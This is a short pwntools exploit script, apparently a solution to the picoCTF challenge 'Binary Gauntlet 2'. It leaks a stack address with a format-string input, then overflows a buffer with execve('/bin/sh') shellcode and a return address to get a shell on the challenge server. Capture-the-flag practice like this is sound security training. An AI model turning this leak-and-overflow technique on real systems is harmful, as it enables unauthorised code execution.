Binary Gauntlet 2

#!/usr/bin/env python3

from pwn import *

exe = ELF("./gauntlet")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("wily-courier.picoctf.net", 58479)

    return r


def main():
    r = conn()
    offset = 120
    shellcode = asm(shellcraft.execve('/bin/sh', 0, 0))


    r.sendline(b'%20$p')
    addr = int(r.recvline().strip(b'\n'), 16)

    addr -= 0x150 # Diference between leak and local_10

    payload = shellcode.ljust(120, b'\x90')
    payload += p64(addr)

    r.sendline(payload)

    # good luck pwning :)
    r.interactive()


if __name__ == "__main__":
    main()